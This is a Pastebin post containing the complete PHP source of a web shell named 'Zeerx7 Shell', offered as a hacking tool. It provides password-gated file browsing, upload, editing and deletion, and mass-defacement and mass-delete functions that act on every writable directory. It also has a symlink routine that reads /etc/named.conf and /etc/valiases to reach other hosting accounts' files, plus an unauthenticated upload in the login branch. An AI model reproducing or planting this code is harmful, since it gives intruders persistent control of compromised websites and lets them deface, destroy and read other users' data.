Advertisement
zeerx7

Zeerx7 Shell

Mar 3rd, 2020
245
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 13.79 KB | None | 0 0
  1. <?php
  2.  error_reporting(0);
  3.  session_start();
  4.  $auth="z7";
  5.  function serverip(){
  6.     $ip1=$_SERVER['SERVER_ADDR'];
  7.     $ip2=gethostbyname($_SERVER['HTTP_HOST']);
  8.     if($ip1 == $ip2){
  9.         return $ip1;
  10.     }else{
  11.         return $ip2;
  12.     }
  13.  }
  14.  function login(){
  15.     global $auth;
  16.     echo "<title>Zeerx7 | Sh3ll</title>
  17.     <center><br><br><br><br>
  18.     <form action='' method='POST'>
  19.     Login to Zeerx7 Sh3ll.<br><br>
  20.     <input type='password' name='minim_pass' value='.....'>
  21.     </form>";
  22.     if(isset($_POST['minim_pass'])){
  23.         if($_POST['minim_pass'] == $auth){
  24.             $_SESSION['admin'] = "TRUE";
  25.             pindah('?home');
  26.         }else{
  27.             alert('Password mu salah...');
  28.             pindah('?salah');
  29.         }
  30.     }
  31.  }
  32.  function write($content,$dir){
  33.     $fh=fopen($dir,"w");
  34.     if(fwrite($fh,$content)){
  35.         return "1";
  36.     }else{
  37.         return "0";
  38.     }
  39.     fclose($fh);
  40.  }
  41. function author(){
  42.     print "</table><center><br><br><h3>Coded by Zeerx7<br><b>CopyRight 2020 Indonesian Hacker Rulez</b></h3><hr width='50%'><br><br>";
  43. }
  44. function delTree($dir){
  45. $files = array_diff(scandir($dir), array('.', '..'));
  46.     foreach ($files as $file) {
  47.         (is_dir("$dir/$file")) ? delTree("$dir/$file") : unlink("$dir/$file");
  48.     }
  49.     return rmdir($dir);
  50. }
  51. function alert($msg){
  52.     print "<script>alert('".$msg."');</script>";
  53. }
  54. function pindah($dir){
  55.     print "<script>window.location='".$dir."';</script>";
  56. }
  57. if($_SESSION['admin'] == "TRUE"){
  58. echo "<title>ZEERX7 SH3LL</title>
  59. <style>
  60. @import url('https://fonts.googleapis.com/css?family=Supermercado+One');
  61. * {margin: 0; padding: 0}
  62. #wrapper {
  63.    width: 900px;
  64.    margin: auto;
  65.    padding: 10px;
  66. }
  67. body {
  68.    background: #D7DACC;
  69.    font-family: arial;
  70. }
  71. table td{
  72.     padding: 8px 8px;
  73. }
  74. h1 {
  75.    text-align: center;
  76. }
  77.  
  78. .text {
  79.    position: relative;
  80.    display: inline-block;
  81.    font-size: 2rem;
  82.    text-transform: uppercase;
  83.    color: #244D49;
  84.    text-shadow: 3px 3px 0px #D7DACC, 8px 8px 0px rgba(0, 0, 0, 0.1);
  85. }
  86. tr:hover{
  87. background-color: gold;
  88. text-shadow:0px 0px 10px ##339900;
  89. }
  90.  
  91.  
  92. </style>
  93. <style>
  94. a{
  95.     color:white;
  96.     text-decoration:none;
  97. }
  98. a:hover{
  99.     color:blue;
  100. }
  101. #menu a{
  102.        padding:7px 29px;
  103.        margin:0;
  104.        background:#222222;
  105.        text-decoration:none;
  106.        letter-spacing:1px;
  107.        -moz-border-radius: 5px; -webkit-border-radius: 5px;
  108. -khtml-border-radius: 5px; border-radius: 5px;
  109. }
  110. #menu a:hover{
  111.     background:#191919;
  112. color: gold;
  113. border-bottom:1px solid #333333;
  114. border-top:1px solid #333333;
  115. text-decoration: underline;
  116. }
  117. </style>
  118. <style>
  119.         body {
  120.             background-color: green;
  121.             background-image: url('https://image.freepik.com/vecteurs-libre/fond-concept-futur-technologie-cybercircuit-rouge_42077-2203.jpg');
  122.             background-size: 100% 100%;
  123.             }
  124.     </style>
  125. <!--<body bgcolor='green'>-->
  126. <font color='white'>
  127. <link href='https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css' rel='stylesheet' type='text/css'>
  128. <center>";
  129. $dir=$_GET['dir'];
  130. if(!$dir){
  131.     $dir=getcwd();
  132. }
  133. echo "<div id='wrapper'>
  134.        <h1 class='text'>{ Zeerx7 Sh3ll }</h1>
  135.    </div>
  136.    <hr width='30%'>
  137.    <br><br>
  138. </center>
  139. <i class='fa fa-hdd-o'></i> ".php_uname()."<br>
  140. <i class='fa fa-desktop'></i> ".serverip()." | <i class='fa fa-user'></i> ".$_SERVER['REMOTE_ADDR']."<br>
  141. <i class='fa fa-folder-o'></i> ";
  142. $a=explode("/",$dir);
  143. foreach($a as $aa => $aaa){
  144.     if($aaa == '' && $aa == '0'){
  145.         echo "<a href='?dir=/'>/</a>";
  146.         continue;
  147.     }elseif($aaa == ''){
  148.         continue;
  149.     }else{
  150.         echo "<a href='?dir=";
  151.         for($i=0;$i<=$aa;$i++){
  152.             echo $a[$i]."/";
  153.         }
  154.         echo "'>$aaa</a>/";
  155.     }
  156. }
  157. echo "<br><br>
  158. <a href='?home'>Home</a> | <a href='?nf&dir=$dir'>+File</a> | <a href='?nd&dir=$dir'>+Dir</a> | <a href='?exit'>Exit</a><br>";
  159.  
  160.  
  161. $files = $_FILES['zeerx7file']['name'];
  162.     $dest = $dir.'/'.$files;
  163.     if(isset($_POST['upload'])) {
  164.         if(is_writable($root)) {
  165.             if(@copy($_FILES['zeerx7file']['tmp_name'], $dest)) {
  166.                 $web = "http://".$_SERVER['HTTP_HOST']."/";
  167.                 echo "<h style='color: green;'> Upload Successful</h>";
  168.             } else {
  169.                 echo "<h style='color: green;'> Upload Failed</h>";
  170.             }
  171.         } else {
  172.             if(@copy($_FILES['zeerx7file']['tmp_name'], $dest)) {
  173.                 echo "<h style='color: green;'> Upload Successful</h>";
  174.             } else {
  175.                 echo "<h style='color: green;'> Upload Failed</h>";
  176.             }
  177.         }
  178.     }
  179.  
  180.  
  181.  
  182. if(isset($_GET['nf'])){
  183.     echo "
  184.     <form action='?nf&dir=$dir' method='POST'>
  185.     New File : <input type='text' name='fname'>
  186.     <input type='submit' name='fok' value='Done'>
  187.     </form>";
  188.     if($_POST['fok']){
  189.         pindah("?edit=$dir/".$_POST['fname']."&dir=$dir");
  190.     }
  191. }elseif(isset($_GET['nd'])){
  192.     echo "
  193.     <form action='?nd&dir=$dir' method='POST'>
  194.     New Dir : <input type='text' name='fname'>
  195.     <input type='submit' name='fok' value='Done'>
  196.     </form>";
  197.     if($_POST['fok']){
  198.         if(mkdir("$dir/".$_POST['fname']."")){
  199.             echo "successfully created";
  200.         }else{
  201.             echo "Failed";
  202.         }
  203.  
  204.     }
  205. }elseif(isset($_GET['delf'])){
  206.     if(delTree($_GET['delf'])){
  207.         pindah("?dir=$dir");
  208.     }else{
  209.         alert('Failed.');
  210.     }
  211. }elseif(isset($_GET['renf'])){
  212.     $now=$_GET['renf'];
  213.     echo "
  214.     <form action='?renf=$now&dir=$dir' method='POST'>
  215.     New Name : <input type='text' name='fname'>
  216.     <input type='submit' name='fok' value='Done'>
  217.     </form>";
  218.     if(isset($_POST['fok'])){
  219.         $new=$_POST['fname'];
  220.         if(rename($now,"$dir/$new")){
  221.             echo "<center>Rename Successfully<center>";
  222.         }else{
  223.             echo "<center>Rename Failed<center><center>";
  224.         }
  225.     }
  226. }elseif(isset($_GET['del'])){
  227.     if(unlink($_GET['del'])){
  228.         //alert("Delete Successfully");
  229.         echo "<center>Delete Successfully</center>";
  230.     }else{
  231.         //alert("Failed");
  232.         echo "<center>Delete Failed</center>";
  233.  
  234.     }
  235. }elseif(isset($_GET['exit'])){
  236.     session_destroy();
  237.     pindah('?home');
  238. }elseif(isset($_GET['edit'])){
  239.     $save=$_GET['edit'];
  240.     $cont=htmlspecialchars(file_get_contents($save));
  241.     echo "<form action='?edit=$save&$dir=$dir' method='POST'>
  242.     <center><textarea name='fcont' cols=100% rows=30%>$cont</textarea><br><br>
  243.     <input type='submit' name='pausiganteng' value='<<<<<<<<[ Save File ]>>>>>>>>'></center>
  244.     </form><br><br>";
  245.     author();
  246.     if(isset($_POST['pausiganteng'])){
  247.         if(write($_POST['fcont'],$save) == "1"){
  248.             echo "<h3>Edit Successfully</h3>";
  249.             alert('Edit Successfully.');
  250.         }else{
  251.             alert('Failed.');
  252.             echo('Failed.');
  253.         }
  254.     }
  255. }elseif($_GET['mass'] == 'deface'){ //mass deface
  256.     function mass_kabeh($dir,$namafile,$isi_script) {
  257.         if(is_writable($dir)) {
  258.             $dira = scandir($dir);
  259.             foreach($dira as $dirb) {
  260.                 $dirc = "$dir/$dirb";
  261.                 $lokasi = $dirc.'/'.$namafile;
  262.                 if($dirb === '.') {
  263.                     file_put_contents($lokasi, $isi_script);
  264.                 } elseif($dirb === '..') {
  265.                     file_put_contents($lokasi, $isi_script);
  266.                 } else {
  267.                     if(is_dir($dirc)) {
  268.                         if(is_writable($dirc)) {
  269.                             echo "[<font color=#18BC9C>DONE</font>] $lokasi<br>";
  270.                             file_put_contents($lokasi, $isi_script);
  271.                             $idx = mass_kabeh($dirc,$namafile,$isi_script);
  272.                         }
  273.                     }
  274.                 }
  275.             }
  276.         }
  277.     }
  278.     function mass_biasa($dir,$namafile,$isi_script) {
  279.         if(is_writable($dir)) {
  280.             $dira = scandir($dir);
  281.             foreach($dira as $dirb) {
  282.                 $dirc = "$dir/$dirb";
  283.                 $lokasi = $dirc.'/'.$namafile;
  284.                 if($dirb === '.') {
  285.                     file_put_contents($lokasi, $isi_script);
  286.                 } elseif($dirb === '..') {
  287.                     file_put_contents($lokasi, $isi_script);
  288.                 } else {
  289.                     if(is_dir($dirc)) {
  290.                         if(is_writable($dirc)) {
  291.                             echo "[<font color=#18BC9C>DONE</font>] $dirb/$namafile<br>";
  292.                             file_put_contents($lokasi, $isi_script);
  293.                         }
  294.                     }
  295.                 }
  296.             }
  297.         }
  298.     }
  299.     if($_POST['start']) {
  300.         if($_POST['tipe'] == 'massal') {
  301.             echo "<div style='margin: 5px auto; padding: 5px'>";
  302.             mass_kabeh($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  303.             echo "</div>";
  304.         } elseif($_POST['tipe'] == 'biasa') {
  305.             echo "<div style='margin: 5px auto; padding: 5px'>";
  306.             mass_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  307.             echo "</div>";
  308.         }
  309.         echo "<a href='?'><- kembali</a>";
  310.     } else {
  311.     echo "<center>";
  312.     echo "<form method='post'>
  313.     <font style='text-decoration: underline;'>Tipe:</font><br>
  314.     <input type='radio' name='tipe' value='biasa' checked>Biasa<input type='radio' name='tipe' value='massal'>Massal<br><br>
  315.     <font style='text-decoration: underline;'>Dir:</font><br>
  316.     <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
  317.     <font style='text-decoration: underline;'>Filename:</font><br>
  318.     <input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br>
  319.     <font style='text-decoration: underline;'>Index File:</font><br>
  320.     <textarea name='script' style='width: 450px; height: 200px;'>Hacked By Zeerx7</textarea><br>
  321.     <input type='submit' name='start' value='Start!' style='width: 450px;' class='btn btn-success btn-sm'>
  322.     </form>";
  323.  
  324.     }
  325. }elseif($_GET['mass'] == 'delete') {
  326.     function hapus_massal($dir,$namafile) {
  327.         if(is_writable($dir)) {
  328.             $dira = scandir($dir);
  329.             foreach($dira as $dirb) {
  330.                 $dirc = "$dir/$dirb";
  331.                 $lokasi = $dirc.'/'.$namafile;
  332.                 if($dirb === '.') {
  333.                     if(file_exists("$dir/$namafile")) {
  334.                         unlink("$dir/$namafile");
  335.                     }
  336.                 } elseif($dirb === '..') {
  337.                     if(file_exists("".dirname($dir)."/$namafile")) {
  338.                         unlink("".dirname($dir)."/$namafile");
  339.                     }
  340.                 } else {
  341.                     if(is_dir($dirc)) {
  342.                         if(is_writable($dirc)) {
  343.                             if(file_exists($lokasi)) {
  344.                                 echo "[<font color=#18BC9C>DELETED</font>] $lokasi<br>";
  345.                                 unlink($lokasi);
  346.                                 $idx = hapus_massal($dirc,$namafile);
  347.                             }
  348.                         }
  349.                     }
  350.                 }
  351.             }
  352.         }
  353.     }
  354.     if($_POST['start']) {
  355.         echo "<div style='margin: 5px auto; padding: 5px'>";
  356.         hapus_massal($_POST['d_dir'], $_POST['d_file']);
  357.         echo "</div>";
  358.         echo "<a href='?'><- kembali</a>";
  359.     } else {
  360.     echo "<center>";
  361.     echo "<form method='post'>
  362.     <font style='text-decoration: underline;'>Dir:</font><br>
  363.     <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
  364.     <font style='text-decoration: underline;'>Filename:</font><br>
  365.     <input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br>
  366.     <input type='submit' name='start' value='Goo!' style='width: 450px;'>
  367.     </form>";
  368.     }
  369. }elseif(isset($_GET['sym'])) {
  370.     if (!is_file('named.txt')) {
  371.                
  372.                 $d00m = @file("/etc/named.conf");
  373.                
  374.             } else {
  375.                
  376.                 $d00m = @file("named.txt");
  377.                
  378.                
  379.             }
  380.             if (!$d00m) {
  381.                
  382.                 die("<meta http-equiv='refresh' content='0; url=?sws=read'/>");
  383.             } else {
  384.                 echo "<center><div class='tmp'><table align='center' width='40%' bgcolor='white'><td>Domains</td><td>Users</td><td>symlink </td>";
  385.                 foreach ($d00m as $dom) {
  386.                    
  387.                     if (eregi("zone", $dom)) {
  388.                        
  389.                         preg_match_all('#zone "(.*)"#', $dom, $domsws);
  390.                        
  391.                         flush();
  392.                        
  393.                         if (strlen(trim($domsws[1][0])) > 2) {
  394.                            
  395.                             $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domsws[1][0]));
  396.                            
  397.                             flush();
  398.                            
  399.                            
  400.                            
  401.                             $site = $user['name'];
  402.                            
  403.                            
  404.                             @symlink("/", "sym/root");
  405.                            
  406.                             $site = $domsws[1][0];
  407.                            
  408.                             $ir = 'ir';
  409.                            
  410.                             $il = 'il';
  411.                            
  412.                             if (preg_match("/.^$ir/", $domsws[1][0]) or preg_match("/.^$il/", $domsws[1][0])) {
  413.                                 $site = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>" . $domsws[1][0] . "</div>";
  414.                             }
  415.                            
  416.                            
  417.                             echo "
  418. <tr>
  419.  
  420. <td>
  421. <div class='dom'><a target='_blank' href=http://www." . $domsws[1][0] . "/>" . $site . " </a> </div>
  422. </td>
  423.  
  424.  
  425. <td>
  426. " . $user['name'] . "
  427. </td>
  428.  
  429.  
  430.  
  431.  
  432.  
  433.  
  434. <td>
  435. <a href='sym/root/home/" . $user['name'] . "/public_html' target='_blank'>symlink </a>
  436. </td>
  437.  
  438.  
  439. </tr></div> </center>";
  440.                            
  441.                            
  442.                             flush();
  443.                             flush();
  444.                            
  445.                         }
  446.                     }
  447.                 }
  448.             }
  449.            
  450.            
  451.  
  452.  
  453. }elseif(isset($_GET['src'])){
  454.     $cont=$_GET['src'];
  455.     print "<div style='background-color: red;'><pre>".htmlspecialchars(file_get_contents($cont))."</pre></div>";
  456. }else{
  457. /* Form file upload*/
  458. echo "<form method='post' enctype='multipart/form-data'>
  459.           <input type='file' name='zeerx7file'>
  460.           <input type='submit' name='upload' value='upload now!'>
  461.           </form><br>";
  462. echo "<center>
  463. <div id='menu'>
  464.  <a href='?mass=deface'>Mass Deface</a>
  465.  <a href='?mass=delete'>Mass Delete</a>
  466.  <a href='?sym'>[ User & Domains & Symlink</a>
  467. </div></center><br>
  468. <table bgcolor='black' width='100%' style='color:red;' border='4' cellpadding='3' cellspacing='1' align='center'>
  469. <tr>
  470. <th width=50%>Name</th>
  471. <th width=30%>Type / Size</th>
  472. <th width=20%>Action</th>
  473. </tr>";
  474. //scandir
  475. $s=scandir($dir);
  476. foreach($s as $fol){
  477.     if($fol == "."){
  478.         continue;
  479.     }elseif($fol == ".."){
  480.         print "<tr><td><i class='fa fa-folder-o'></i> <a href='?dir=$dir/$fol/'>$fol</a></td><td></td><tr>";
  481.     }else{
  482.         if(is_dir("$dir/$fol") == TRUE){
  483.             print "<tr><td><i class='fa fa-folder-o'></i> <a href='?dir=$dir/$fol/'>$fol</a></td><center><td>Folder</td></center><td><a href='?delf=$dir$fol/&dir=$dir'><center>Delete</a> | <a href='?renf=$dir$fol/&dir=$dir'>Rename</a></center></td><tr>";
  484.     }
  485. }
  486. }
  487. foreach($s as $file){
  488.     if($file == "." || $file == ".."){
  489.         continue;
  490.     }else{
  491.           $size=filesize("$dir/$file")/1024;
  492.           $size = round($size,3);
  493.           if($size >= 1024){
  494.             $size = round($size/1024,2).' MB';
  495.           }else{
  496.             $size = $size.' KB';
  497.         }if(is_file("$dir/$file") == TRUE){
  498.             print "<tr><td><i class='fa fa-file-o'></i> <a href='?src=$dir/$file&dir=$dir'>$file</a></td><td>$size</td><td><center><a href='?edit=$dir/$file&dir=$dir'>Edit</a> | <a href='?del=$dir/$file&dir=$dir'>Delete</a> | <a href='?renf=$dir/$file&dir=$dir'>Rename</a></td></tr></center>";
  499.     }
  500. }
  501. }
  502.   author();
  503. }
  504. }else{
  505.     login();
  506.     $name=$_FILES['s']['name'];
  507.     $tmp=$_FILES['s']['tmp_name'];
  508.     if(copy($tmp,$name)){}else{
  509.         print "Coded by Zeerx7.";
  510.     }
  511. }
  512. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement